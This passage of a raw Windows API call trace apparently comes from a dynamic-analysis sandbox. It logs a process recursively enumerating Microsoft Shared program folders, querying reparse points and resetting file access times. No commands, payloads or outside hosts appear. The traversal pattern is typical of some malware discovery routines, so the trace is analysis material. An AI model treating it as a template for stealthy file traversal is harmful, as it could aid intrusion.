cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0062.985] GetLastError () returned 0x12 [0062.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0062.985] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0062.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0062.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0062.986] GetLastError () returned 0x12 [0062.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0062.986] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0062.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.986] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0062.986] GetLastError () returned 0x12 [0062.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.986] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0062.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0062.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.986] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0062.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0062.989] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0062.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0062.989] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0062.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0062.989] NtClose (Handle=0x160) returned 0x0 [0062.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.990] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0062.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0062.990] GetLastError () returned 0x12 [0062.990] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0062.991] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0062.991] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.991] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0062.991] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0062.991] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0062.991] GetLastError () returned 0x12 [0062.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.991] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0062.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0062.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.991] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0062.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.991] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0062.991] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0062.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0062.992] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0062.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0062.992] NtClose (Handle=0x16c) returned 0x0 [0062.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0062.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0062.992] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.992] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0062.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.992] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0062.992] GetLastError () returned 0x12 [0062.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0062.992] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0062.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0062.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0062.993] GetLastError () returned 0x12 [0062.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.993] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0062.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0062.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0062.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.993] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0062.993] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0062.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0062.994] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0062.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0062.994] NtClose (Handle=0x160) returned 0x0 [0062.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0062.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.994] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0062.994] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.994] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0062.994] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0062.994] GetLastError () returned 0x12 [0062.994] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0062.994] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0062.994] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: 